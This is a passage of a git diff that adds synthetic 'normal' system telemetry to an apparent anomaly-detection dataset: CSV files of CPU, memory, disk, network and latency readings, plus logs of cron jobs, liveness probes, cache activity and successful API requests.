+2025-07-17T10:07:15Z,10.66,42.82,37.01,0.89,1.21 +2025-07-17T10:07:20Z,11.01,37.24,24.7,1.25,1.07 +2025-07-17T10:07:25Z,14.97,35.35,35.83,1.28,1.18 diff --git a/norm_dataset/scenario_14/norm_14_7.log b/norm_dataset/scenario_14/norm_14_7.log new file mode 100644 index 0000000000000000000000000000000000000000..dc80f184f485cc9ac3f970f4aa96f42cb75e2a86 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_7.log @@ -0,0 +1,20 @@ +Jul 17 10:00:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 17 10:00:30 kubelet[2345]: INFO Liveness probe succeeded for pod app-server +Jul 17 10:00:35 app-server[1234]: INFO Cache miss for key: session:283 - fetching from DB +Jul 17 10:01:50 app-server[1234]: GET /api/v1/products/606 status=200 OK +Jul 17 10:02:05 app-server[1234]: GET /api/v1/products/587 status=200 OK +Jul 17 10:02:25 app-server[1234]: INFO Cache hit for key: user_profile:749 +Jul 17 10:02:40 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 17 10:03:30 app-server[1234]: DEBUG Cache hit for key: product_details:485 +Jul 17 10:04:40 app-server[1234]: INFO Cache hit for key: user_profile:789 +Jul 17 10:04:45 app-server[1234]: DEBUG Cache hit for key: product_details:438 +Jul 17 10:05:30 app-server[1234]: INFO Cache miss for key: session:582 - fetching from DB +Jul 17 10:05:35 app-server[1234]: DEBUG Cache hit for key: product_details:879 +Jul 17 10:05:55 systemd[1]: Starting daily clean up activities... +Jul 17 10:06:05 app-server[1234]: INFO Cache hit for key: user_profile:188 +Jul 17 10:06:10 app-server[1234]: INFO Cache hit for key: user_profile:797 +Jul 17 10:06:15 app-server[1234]: INFO Cache miss for key: session:215 - fetching from DB +Jul 17 10:06:35 app-server[1234]: GET /api/v1/user/73 status=200 OK +Jul 17 10:06:50 app-server[1234]: DEBUG Cache hit for key: product_details:677 +Jul 17 10:07:15 app-server[1234]: INFO Cache hit for key: user_profile:527 +Jul 17 10:07:25 app-server[1234]: INFO Cache hit for key: user_profile:88 diff --git a/norm_dataset/scenario_14/norm_14_8.csv b/norm_dataset/scenario_14/norm_14_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..2c95f310452d5d687ff4b704795ab05a49962b32 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,17.72,38.45,20.33,1.44,0.99 +2025-08-22T10:00:05Z,16.33,38.19,36.34,0.91,0.92 +2025-08-22T10:00:10Z,14.88,37.11,22.87,0.81,0.86 +2025-08-22T10:00:15Z,18.6,40.28,32.8,0.99,0.79 +2025-08-22T10:00:20Z,10.84,36.84,38.65,1.31,0.75 +2025-08-22T10:00:25Z,17.48,42.22,21.72,0.85,1.01 +2025-08-22T10:00:30Z,12.16,39.14,32.24,0.84,1.01 +2025-08-22T10:00:35Z,12.07,42.73,23.56,1.43,1.24 +2025-08-22T10:00:40Z,17.12,41.74,20.02,1.41,1.07 +2025-08-22T10:00:45Z,19.64,41.28,39.43,0.97,0.89 +2025-08-22T10:00:50Z,14.71,38.78,39.42,1.2,0.82 +2025-08-22T10:00:55Z,19.82,35.96,39.82,1.25,0.81 +2025-08-22T10:01:00Z,19.48,40.33,21.03,1.2,0.82 +2025-08-22T10:01:05Z,11.44,40.74,26.65,0.84,1.0 +2025-08-22T10:01:10Z,14.09,39.44,28.43,1.49,0.74 +2025-08-22T10:01:15Z,16.83,41.15,32.4,1.09,1.16 +2025-08-22T10:01:20Z,14.29,43.41,27.41,1.2,0.83 +2025-08-22T10:01:25Z,16.95,41.17,27.65,1.09,1.09 +2025-08-22T10:01:30Z,10.75,39.56,37.52,1.36,0.95 +2025-08-22T10:01:35Z,18.72,41.8,36.64,1.13,1.15 +2025-08-22T10:01:40Z,11.01,41.49,22.95,1.33,0.79 +2025-08-22T10:01:45Z,16.46,40.85,30.74,1.36,1.07 +2025-08-22T10:01:50Z,13.13,36.82,32.89,0.93,0.86 +2025-08-22T10:01:55Z,10.49,36.4,27.13,0.84,1.06 +2025-08-22T10:02:00Z,15.7,40.15,24.94,0.88,0.93 +2025-08-22T10:02:05Z,17.14,36.33,36.3,1.18,0.92 +2025-08-22T10:02:10Z,17.41,35.36,28.96,1.3,1.05 +2025-08-22T10:02:15Z,19.31,42.4,37.14,1.05,0.78 +2025-08-22T10:02:20Z,19.6,36.25,27.55,1.4,0.77 +2025-08-22T10:02:25Z,14.88,35.97,29.15,1.3,0.87 +2025-08-22T10:02:30Z,11.38,44.75,37.3,1.2,0.89 +2025-08-22T10:02:35Z,10.7,38.2,32.64,1.24,0.82 +2025-08-22T10:02:40Z,13.91,38.56,24.59,1.4,0.91 +2025-08-22T10:02:45Z,10.52,35.7,32.0,1.1,0.96 +2025-08-22T10:02:50Z,19.19,38.33,28.97,1.04,0.93 +2025-08-22T10:02:55Z,13.38,42.67,37.99,1.27,1.17 +2025-08-22T10:03:00Z,10.69,36.19,32.76,0.81,0.91 +2025-08-22T10:03:05Z,19.81,42.26,23.7,1.23,0.78 +2025-08-22T10:03:10Z,17.47,36.57,23.26,0.95,1.27 +2025-08-22T10:03:15Z,10.68,37.82,37.55,1.1,0.97 +2025-08-22T10:03:20Z,11.87,41.38,30.05,0.85,0.91 +2025-08-22T10:03:25Z,16.77,44.98,29.37,1.48,0.88 +2025-08-22T10:03:30Z,18.05,43.88,22.34,0.95,1.18 +2025-08-22T10:03:35Z,10.91,44.12,28.5,1.33,0.97 +2025-08-22T10:03:40Z,11.13,39.95,31.65,1.06,1.0 +2025-08-22T10:03:45Z,13.62,37.87,27.13,1.48,1.12 +2025-08-22T10:03:50Z,12.77,36.29,34.22,1.49,0.88 +2025-08-22T10:03:55Z,13.78,42.4,23.51,1.15,0.83 +2025-08-22T10:04:00Z,14.72,36.21,28.29,1.35,0.99 +2025-08-22T10:04:05Z,11.56,44.64,37.71,1.07,0.7 +2025-08-22T10:04:10Z,11.32,36.28,31.83,1.3,0.96 +2025-08-22T10:04:15Z,12.69,42.19,36.1,1.05,0.73 +2025-08-22T10:04:20Z,11.52,35.21,27.41,1.01,1.14 +2025-08-22T10:04:25Z,11.81,37.0,29.4,1.45,0.82 +2025-08-22T10:04:30Z,14.58,41.57,34.12,1.23,0.82 +2025-08-22T10:04:35Z,19.03,38.37,25.43,1.31,1.14 +2025-08-22T10:04:40Z,17.33,41.45,27.59,0.88,0.87 +2025-08-22T10:04:45Z,17.58,42.09,25.19,1.42,1.11 +2025-08-22T10:04:50Z,10.01,40.77,24.26,1.23,1.05 +2025-08-22T10:04:55Z,15.96,37.46,32.26,1.12,1.28 +2025-08-22T10:05:00Z,19.11,37.57,39.53,1.26,1.06 +2025-08-22T10:05:05Z,10.95,35.58,23.28,1.4,0.85 +2025-08-22T10:05:10Z,11.5,35.8,22.66,1.47,1.19 +2025-08-22T10:05:15Z,18.18,38.48,29.82,1.23,1.1 +2025-08-22T10:05:20Z,19.4,37.09,20.07,1.29,0.81 +2025-08-22T10:05:25Z,19.7,36.39,25.93,0.93,1.2 +2025-08-22T10:05:30Z,15.77,37.9,29.17,1.0,1.04 +2025-08-22T10:05:35Z,16.83,36.7,28.0,1.13,0.82 +2025-08-22T10:05:40Z,13.08,43.83,29.16,1.18,0.73 +2025-08-22T10:05:45Z,12.74,41.86,23.71,1.18,1.19 +2025-08-22T10:05:50Z,11.4,41.82,30.35,0.89,0.85 +2025-08-22T10:05:55Z,15.14,43.87,32.07,1.4,0.81 +2025-08-22T10:06:00Z,18.63,38.3,31.52,1.12,0.76 +2025-08-22T10:06:05Z,18.69,44.63,29.71,0.82,0.93 +2025-08-22T10:06:10Z,19.02,42.26,35.27,1.44,0.7 +2025-08-22T10:06:15Z,13.46,35.15,34.22,1.28,0.92 +2025-08-22T10:06:20Z,18.02,38.27,27.21,0.96,1.3 +2025-08-22T10:06:25Z,16.93,36.51,33.64,1.28,1.26 +2025-08-22T10:06:30Z,15.28,39.43,39.9,0.96,1.13 +2025-08-22T10:06:35Z,14.38,40.08,22.32,1.43,0.81 +2025-08-22T10:06:40Z,18.64,35.98,30.94,1.08,0.75 +2025-08-22T10:06:45Z,11.17,36.47,25.82,1.31,1.25 +2025-08-22T10:06:50Z,15.42,36.99,39.63,1.12,0.99 +2025-08-22T10:06:55Z,12.98,42.76,25.15,0.94,1.2 +2025-08-22T10:07:00Z,14.86,38.96,21.97,1.26,1.14 +2025-08-22T10:07:05Z,11.85,38.74,34.27,1.04,1.24 +2025-08-22T10:07:10Z,18.79,39.66,37.13,1.31,1.26 +2025-08-22T10:07:15Z,19.57,36.02,22.68,1.19,1.19 +2025-08-22T10:07:20Z,18.37,39.44,37.42,1.01,1.22 +2025-08-22T10:07:25Z,16.88,44.82,26.56,1.25,1.16 diff --git a/norm_dataset/scenario_14/norm_14_8.log b/norm_dataset/scenario_14/norm_14_8.log new file mode 100644 index 0000000000000000000000000000000000000000..4605f2cf65a922234e64902684adcdafe655e149 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_8.log @@ -0,0 +1,20 @@ +Aug 22 10:00:10 web-app[1234]: GET /api/v1/user/493 status=200 OK +Aug 22 10:00:30 web-app[1234]: INFO Cache miss for key: product:query:19736 +Aug 22 10:00:45 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:01:25 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:01:30 web-app[1234]: GET /api/v1/products status=200 OK +Aug 22 10:01:40 web-app[1234]: GET /api/v1/user/288 status=200 OK +Aug 22 10:01:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:02:05 web-app[1234]: INFO Cache miss for key: product:query:17850 +Aug 22 10:02:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:03:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:03:20 web-app[1234]: GET /api/v1/products status=200 OK +Aug 22 10:03:45 systemd[1]: Starting daily clean up activities... +Aug 22 10:04:50 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:05:40 systemd[1]: Starting daily clean up activities... +Aug 22 10:06:15 systemd[1]: Starting daily clean up activities... +Aug 22 10:06:40 web-app[1234]: INFO Cache miss for key: product:query:86022 +Aug 22 10:06:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:07:00 web-app[1234]: INFO Cache miss for key: product:query:76296 +Aug 22 10:07:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/norm_dataset/scenario_14/norm_14_9.csv b/norm_dataset/scenario_14/norm_14_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..2369e6bcff5e4ab738565909b8d6bc99cc6c33e5 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,16.25,36.66,17.96,0.72,0.97 +2025-08-15T10:00:05Z,17.55,40.13,21.47,0.95,0.9 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+2025-08-15T10:06:50Z,15.74,42.85,26.2,1.09,0.5 +2025-08-15T10:06:55Z,17.16,39.37,27.69,1.05,1.09 +2025-08-15T10:07:00Z,18.87,43.86,28.63,1.08,0.9 +2025-08-15T10:07:05Z,14.05,41.16,19.6,1.1,0.72 +2025-08-15T10:07:10Z,17.04,38.44,26.68,0.95,0.98 +2025-08-15T10:07:15Z,18.6,33.28,23.83,1.22,0.95 +2025-08-15T10:07:20Z,14.4,36.9,32.84,1.05,0.67 +2025-08-15T10:07:25Z,14.47,42.8,21.75,1.13,0.85 diff --git a/norm_dataset/scenario_14/norm_14_9.log b/norm_dataset/scenario_14/norm_14_9.log new file mode 100644 index 0000000000000000000000000000000000000000..18147cf652f4d7af9d7d18211a3feab840dc95a3 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_9.log @@ -0,0 +1,20 @@ +Aug 15 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 15 10:00:10 web-app[1234]: INFO Cache hit for key: user:profile:123 +Aug 15 10:00:25 web-app[1234]: GET /api/v1/user/123 status=200 OK +Aug 15 10:00:40 web-app[1234]: INFO Cache hit for key: products:featured +Aug 15 10:00:55 web-app[1234]: GET /api/v1/products status=200 OK +Aug 15 10:01:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:01:30 web-app[1234]: INFO Cache hit for key: user:profile:456 +Aug 15 10:01:50 web-app[1234]: GET /api/v1/user/456 status=200 OK +Aug 15 10:02:15 systemd[1]: Daily clean up activities finished. +Aug 15 10:02:35 web-app[1234]: INFO Cache hit for key: user:profile:789 +Aug 15 10:02:55 web-app[1234]: GET /api/v1/user/789 status=200 OK +Aug 15 10:03:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:03:40 web-app[1234]: INFO Cache hit for key: articles:latest +Aug 15 10:04:05 web-app[1234]: GET /api/v1/articles status=200 OK +Aug 15 10:04:35 web-app[1234]: INFO Cache hit for key: user:profile:101 +Aug 15 10:05:00 web-app[1234]: GET /api/v1/user/101 status=200 OK +Aug 15 10:05:30 systemd[1]: Starting session c1 of user root. +Aug 15 10:06:00 web-app[1234]: INFO Cache hit for key: products:top-sellers +Aug 15 10:06:35 web-app[1234]: GET /api/v1/products/topsellers status=200 OK +Aug 15 10:07:10 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/norm_dataset/scenario_15/norm_15_1.csv b/norm_dataset/scenario_15/norm_15_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..f40ab52fce0d3f5fc0212b72bcc5b9326e1b483f --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,app_latency_ms +2025-08-20T10:00:00Z,14.621147536589115,42.32475937679488,39.512868308858046,1.1451620592184755,0.9090675328569486,51.4122683322115 +2025-08-20T10:00:05Z,13.371579871850088,45.8149423580058,30.22559350440314,1.1588434917930661,1.0043931441350173,43.00327467570689 +2025-08-20T10:00:10Z,15.06645952117745,44.386360988874124,31.230581202359822,1.1115935046589251,0.8599085419065023,51.31553999561224 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+2025-08-20T10:06:40Z,16.759701986481627,49.588230806160205,27.58517015498981,4.502039585135961,3.6175287518157164,65.61720783595507 +2025-08-20T10:06:45Z,25.834782016953383,47.953177306548504,37.62361508219852,4.447709499214767,4.522003081267254,58.30293034861936 +2025-08-20T10:06:50Z,18.95851341381559,46.18449952940853,25.319534903853977,3.1369280628214273,3.491362126067328,58.17607056405043 +2025-08-20T10:06:55Z,18.87623317976958,47.906665132119514,25.20447723673033,3.6005070328742192,2.9156478528260346,52.45936836014837 +2025-08-20T10:07:00Z,18.898426358649758,45.60137227952143,30.901942486766774,3.8781459925738306,3.19516179001647,66.65002457191895 +2025-08-20T10:07:05Z,20.50206189571234,49.540226200717086,31.285328797609758,3.9546872563981945,3.579260854478985,54.59221420647391 +2025-08-20T10:07:10Z,18.428627397665686,46.122496898127295,24.471326703493965,3.705314667968067,4.019974670421212,59.66834097570437 +2025-08-20T10:07:15Z,20.86323900280283,43.681398307979485,30.7678629456831,4.47956413368548,3.627425157385131,55.56150334840031 +2025-08-20T10:07:20Z,20.811675890459675,47.808129178845604,29.966962529085034,3.8988928261516156,4.231176544822618,53.23605389533162 +2025-08-20T10:07:25Z,19.99586861609068,48.63261605228235,28.672030166145277,4.130928709745771,3.68361193019438,60.91852308531353 diff --git a/norm_dataset/scenario_15/norm_15_1.log b/norm_dataset/scenario_15/norm_15_1.log new file mode 100644 index 0000000000000000000000000000000000000000..e97439b97dec68a1cab45833f3076d1f9bc7eb1c --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_1.log @@ -0,0 +1,124 @@ +Aug 20 10:00:01 web-app[2345]: GET /api/v1/products/12 status=200 OK +Aug 20 10:00:15 web-app[2345]: GET /api/v1/products/12 status=200 OK +Aug 20 10:00:32 web-app[2345]: GET /api/v1/products/12 status=200 OK +Aug 20 10:00:45 web-app[2345]: GET /api/v1/products/12 status=200 OK +Aug 20 10:01:00 web-app[2345]: GET /api/v1/products/12 status=200 OK +Aug 20 10:01:17 web-app[2345]: GET /api/v1/products/12 status=200 OK +Aug 20 10:01:32 web-app[2345]: GET /api/v1/products/12 status=200 OK +Aug 20 10:01:40 HikariPool-1[2345]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 20 10:01:41 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:01:41 web-app[2345]: GET /api/v1/products/79 status=200 OK +Aug 20 10:01:46 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:01:46 web-app[2345]: GET /api/v1/products/63 status=200 OK +Aug 20 10:01:50 HikariPool-1[2345]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 20 10:01:52 web-app[2345]: GET /api/v1/products/46 status=200 OK +Aug 20 10:01:57 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:01:57 web-app[2345]: GET /api/v1/products/22 status=200 OK +Aug 20 10:02:02 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:02:02 web-app[2345]: GET /api/v1/products/99 status=200 OK +Aug 20 10:02:05 HikariPool-1[2345]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 20 10:02:07 web-app[2345]: GET /api/v1/products/95 status=200 OK +Aug 20 10:02:12 web-app[2345]: GET /api/v1/products/12 status=200 OK +Aug 20 10:02:17 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:02:17 web-app[2345]: GET /api/v1/products/75 status=200 OK +Aug 20 10:02:21 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:02:21 web-app[2345]: GET /api/v1/products/93 status=200 OK +Aug 20 10:02:26 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:02:26 web-app[2345]: GET /api/v1/products/34 status=200 OK +Aug 20 10:02:32 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:02:32 web-app[2345]: GET /api/v1/products/87 status=200 OK +Aug 20 10:02:36 web-app[2345]: GET /api/v1/products/90 status=200 OK +Aug 20 10:02:41 web-app[2345]: GET /api/v1/products/81 status=200 OK +Aug 20 10:02:45 web-app[2345]: GET /api/v1/products/82 status=200 OK +Aug 20 10:02:51 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:02:51 web-app[2345]: GET /api/v1/products/21 status=200 OK +Aug 20 10:02:57 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:02:57 web-app[2345]: GET /api/v1/products/68 status=200 OK +Aug 20 10:03:01 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:03:01 web-app[2345]: GET /api/v1/products/28 status=200 OK +Aug 20 10:03:07 web-app[2345]: GET /api/v1/products/25 status=200 OK +Aug 20 10:03:10 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:03:10 web-app[2345]: GET /api/v1/products/40 status=200 OK +Aug 20 10:03:16 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:03:16 web-app[2345]: GET /api/v1/products/23 status=200 OK +Aug 20 10:03:22 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:03:22 web-app[2345]: GET /api/v1/products/42 status=200 OK +Aug 20 10:03:27 web-app[2345]: GET /api/v1/products/67 status=200 OK +Aug 20 10:03:30 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:03:30 web-app[2345]: GET /api/v1/products/69 status=200 OK +Aug 20 10:03:36 web-app[2345]: GET /api/v1/products/24 status=200 OK +Aug 20 10:03:40 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:03:40 web-app[2345]: GET /api/v1/products/69 status=200 OK +Aug 20 10:03:46 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:03:46 web-app[2345]: GET /api/v1/products/50 status=200 OK +Aug 20 10:03:51 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:03:51 web-app[2345]: GET /api/v1/products/14 status=200 OK +Aug 20 10:03:57 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:03:57 web-app[2345]: GET /api/v1/products/51 status=200 OK +Aug 20 10:04:00 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:04:00 web-app[2345]: GET /api/v1/products/35 status=200 OK +Aug 20 10:04:07 web-app[2345]: GET /api/v1/products/67 status=200 OK +Aug 20 10:04:12 web-app[2345]: GET /api/v1/products/19 status=200 OK +Aug 20 10:04:15 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:04:15 web-app[2345]: GET /api/v1/products/79 status=200 OK +Aug 20 10:04:22 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:04:22 web-app[2345]: GET /api/v1/products/26 status=200 OK +Aug 20 10:04:25 web-app[2345]: GET /api/v1/products/62 status=200 OK +Aug 20 10:04:31 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:04:31 web-app[2345]: GET /api/v1/products/50 status=200 OK +Aug 20 10:04:36 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:04:36 web-app[2345]: GET /api/v1/products/92 status=200 OK +Aug 20 10:04:41 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:04:41 web-app[2345]: GET /api/v1/products/14 status=200 OK +Aug 20 10:04:46 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:04:46 web-app[2345]: GET /api/v1/products/21 status=200 OK +Aug 20 10:04:51 web-app[2345]: GET /api/v1/products/95 status=200 OK +Aug 20 10:04:56 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:04:56 web-app[2345]: GET /api/v1/products/21 status=200 OK +Aug 20 10:05:02 web-app[2345]: GET /api/v1/products/71 status=200 OK +Aug 20 10:05:05 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:05:05 web-app[2345]: GET /api/v1/products/87 status=200 OK +Aug 20 10:05:12 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:05:12 web-app[2345]: GET /api/v1/products/40 status=200 OK +Aug 20 10:05:17 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:05:17 web-app[2345]: GET /api/v1/products/46 status=200 OK +Aug 20 10:05:21 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:05:21 web-app[2345]: GET /api/v1/products/61 status=200 OK +Aug 20 10:05:25 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:05:25 web-app[2345]: GET /api/v1/products/81 status=200 OK +Aug 20 10:05:30 web-app[2345]: GET /api/v1/products/49 status=200 OK +Aug 20 10:05:36 web-app[2345]: GET /api/v1/products/58 status=200 OK +Aug 20 10:05:41 web-app[2345]: GET /api/v1/products/76 status=200 OK +Aug 20 10:05:45 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:05:45 web-app[2345]: GET /api/v1/products/91 status=200 OK +Aug 20 10:05:50 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:05:50 web-app[2345]: GET /api/v1/products/32 status=200 OK +Aug 20 10:05:57 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:05:57 web-app[2345]: GET /api/v1/products/96 status=200 OK +Aug 20 10:06:02 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:06:02 web-app[2345]: GET /api/v1/products/73 status=200 OK +Aug 20 10:06:06 web-app[2345]: GET /api/v1/products/71 status=200 OK +Aug 20 10:06:11 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:06:11 web-app[2345]: GET /api/v1/products/96 status=200 OK +Aug 20 10:06:15 web-app[2345]: GET /api/v1/products/62 status=200 OK +Aug 20 10:06:22 web-app[2345]: GET /api/v1/products/90 status=200 OK +Aug 20 10:06:27 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:06:27 web-app[2345]: GET /api/v1/products/58 status=200 OK +Aug 20 10:06:31 web-app[2345]: GET /api/v1/products/65 status=200 OK +Aug 20 10:06:37 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:06:37 web-app[2345]: GET /api/v1/products/81 status=200 OK +Aug 20 10:06:40 web-app[2345]: GET /api/v1/products/51 status=200 OK +Aug 20 10:06:45 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:06:45 web-app[2345]: GET /api/v1/products/64 status=200 OK +Aug 20 10:06:51 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:06:51 web-app[2345]: GET /api/v1/products/58 status=200 OK +Aug 20 10:06:57 web-app[2345]: GET /api/v1/products/37 status=200 OK +Aug 20 10:07:00 web-app[2345]: GET /api/v1/products/43 status=200 OK +Aug 20 10:07:06 web-app[2345]: GET /api/v1/products/47 status=200 OK +Aug 20 10:07:11 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:07:11 web-app[2345]: GET /api/v1/products/48 status=200 OK +Aug 20 10:07:16 web-app[2345]: GET /api/v1/products/37 status=200 OK +Aug 20 10:07:22 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:07:22 web-app[2345]: GET /api/v1/products/61 status=200 OK +Aug 20 10:07:26 web-app[2345]: GET /api/v1/inventory/check status=200 OK +Aug 20 10:07:26 web-app[2345]: GET /api/v1/products/58 status=200 OK diff --git a/norm_dataset/scenario_15/norm_15_10.csv b/norm_dataset/scenario_15/norm_15_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..06597b8337106771b3d5c1fdc369812950f9b212 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,app_latency_ms,mem_usage,disk_io,net_in,net_out +2025-08-22T14:00:00Z,15.16,84.73,45.4,31.26,0.85,1.03 +2025-08-22T14:00:05Z,19.38,66.84,50.35,30.17,1.38,1.05 +2025-08-22T14:00:10Z,14.73,95.28,42.73,19.91,1.08,1.07 +2025-08-22T14:00:15Z,15.32,47.12,45.43,19.96,1.0,0.97 +2025-08-22T14:00:20Z,15.89,104.97,44.9,35.94,0.84,0.92 +2025-08-22T14:00:25Z,16.25,77.21,49.49,29.39,1.36,0.89 +2025-08-22T14:00:30Z,17.02,97.89,50.15,22.52,0.88,0.79 +2025-08-22T14:00:35Z,15.79,115.43,45.94,32.56,1.42,0.61 +2025-08-22T14:00:40Z,14.33,56.57,43.07,20.26,1.18,1.08 +2025-08-22T14:00:45Z,13.71,71.6,45.78,20.12,1.54,1.07 +2025-08-22T14:00:50Z,16.61,61.93,48.4,37.32,0.99,0.78 +2025-08-22T14:00:55Z,15.83,91.2,47.25,29.25,1.21,1.11 +2025-08-22T14:01:00Z,16.15,97.38,42.44,18.97,1.3,0.83 +2025-08-22T14:01:05Z,12.8,90.64,46.92,28.87,1.48,0.9 +2025-08-22T14:01:10Z,13.01,98.05,46.72,25.77,1.32,0.92 +2025-08-22T14:01:15Z,17.69,81.55,45.75,23.62,1.2,0.99 +2025-08-22T14:01:20Z,16.16,66.72,45.7,25.7,1.04,0.77 +2025-08-22T14:01:25Z,16.07,73.44,48.62,30.62,1.0,0.91 +2025-08-22T14:01:30Z,19.13,85.4,41.6,20.55,1.04,0.95 +2025-08-22T14:01:35Z,14.42,84.01,41.42,28.25,1.22,0.82 +2025-08-22T14:01:40Z,28.97,159.96,47.53,31.76,1.31,0.84 +2025-08-22T14:01:45Z,24.11,250.08,46.63,24.96,1.45,0.69 +2025-08-22T14:01:50Z,23.53,272.15,43.6,31.02,0.92,0.97 +2025-08-22T14:01:55Z,24.11,249.07,42.75,29.86,1.01,0.86 +2025-08-22T14:02:00Z,28.78,207.42,41.47,32.06,1.21,0.86 +2025-08-22T14:02:05Z,25.38,130.49,49.21,33.57,1.16,0.84 +2025-08-22T14:02:10Z,24.62,115.83,47.04,23.83,1.03,1.02 +2025-08-22T14:02:15Z,22.19,81.9,43.86,34.14,1.53,0.72 +2025-08-22T14:02:20Z,16.79,85.14,50.83,28.71,1.19,0.96 +2025-08-22T14:02:25Z,17.74,69.66,45.82,22.91,1.13,0.47 +2025-08-22T14:02:30Z,19.93,70.24,43.57,22.55,1.2,0.96 +2025-08-22T14:02:35Z,17.26,101.9,46.93,25.56,1.6,1.08 +2025-08-22T14:02:40Z,13.36,94.26,43.33,32.13,1.41,0.97 +2025-08-22T14:02:45Z,15.13,59.54,42.87,24.68,1.15,0.93 +2025-08-22T14:02:50Z,17.15,83.06,47.36,29.46,1.14,0.96 +2025-08-22T14:02:55Z,13.89,84.64,44.21,20.61,1.46,0.89 +2025-08-22T14:03:00Z,16.36,91.61,47.05,33.48,1.06,0.85 +2025-08-22T14:03:05Z,17.08,86.77,45.0,25.17,0.85,0.66 +2025-08-22T14:03:10Z,11.5,83.06,40.9,24.68,1.09,0.79 +2025-08-22T14:03:15Z,15.24,48.67,46.37,25.58,1.27,0.87 +2025-08-22T14:03:20Z,17.28,94.3,49.3,33.13,1.37,1.01 +2025-08-22T14:03:25Z,16.35,75.42,42.26,32.35,1.11,0.91 +2025-08-22T14:03:30Z,15.61,86.72,45.31,23.54,1.52,1.06 +2025-08-22T14:03:35Z,14.97,82.69,42.11,32.22,1.0,0.58 +2025-08-22T14:03:40Z,19.14,88.39,47.01,29.72,1.05,0.67 